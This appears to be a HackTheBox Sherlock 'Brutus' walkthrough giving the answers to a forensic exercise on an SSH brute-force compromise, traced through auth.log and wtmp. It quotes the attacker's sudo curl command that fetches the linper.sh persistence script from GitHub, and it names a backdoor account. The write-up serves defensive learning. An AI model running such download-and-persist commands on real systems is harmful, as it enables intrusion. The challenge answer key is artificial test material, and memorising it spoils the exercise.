← Landing page Writeups home

Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
HackTheBox/Sherlocks/Sherlock Brutus.en.md READ_ONLY

Sherlock Brutus

This challenge consists of performing a forensic log analysis to investigate a brute force attack on a Linux server and the solution consists of analyzing the auth.log and wtmp files to identify the attacker's initial access, the persistence mechanisms created, and the malicious scripts downloaded.

Reconnaissance

  • The following files were provided for the forensic analysis:
    • auth.log
    • wtmp
    • utmp.py

Analysis and answers

Task 1

  • Analyze auth.log. What is the IP address used by the attacker to carry out the brute force attack? Answer: 65.2.161.68

This answer can be found by reviewing auth.log and identifying the IP address that starts appearing when the failed login attempts begin:

Task 2

  • The brute force attempts were successful and the attacker gained access to an account on the server. What is the username of that account? Answer: root

This can be seen a little further down in auth.log, when a valid login occurs:

Task 3

  • Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their actions. Answer: 2024-03-06 06:32:45

This answer is found by running the script utmp.py against the file wtmp, specifically on the third-to-last line of output. The timestamp shown there must then be converted to UTC:

Task 4

  • SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the account identified in Question 2? Answer: 37

The answer appears right after the line corresponding to the login from Question 2:

Task 5

  • The attacker added a new user as part of their persistence strategy and granted that account elevated privileges. What is the name of the account? Answer: cyberjunkie

A few lines below the previous event, it can be seen that the attacker created a user called cyberjunkie:

Task 6

  • What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account? Answer: T1136.001

To answer this, look up the corresponding persistence sub-technique on the MITRE ATT&CK site.

Task 7

  • According to auth.log, what time did the attacker's first SSH session end? Answer: 2024-03-06 06:37:24

This is found a bit below the answer for Question 5:

Task 8

  • The attacker logged into the backdoor account and used their elevated privileges to download a script. What is the full command executed with sudo? Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

This answer appears in one of the final lines of auth.log, which shows that the attacker downloaded a script from GitHub: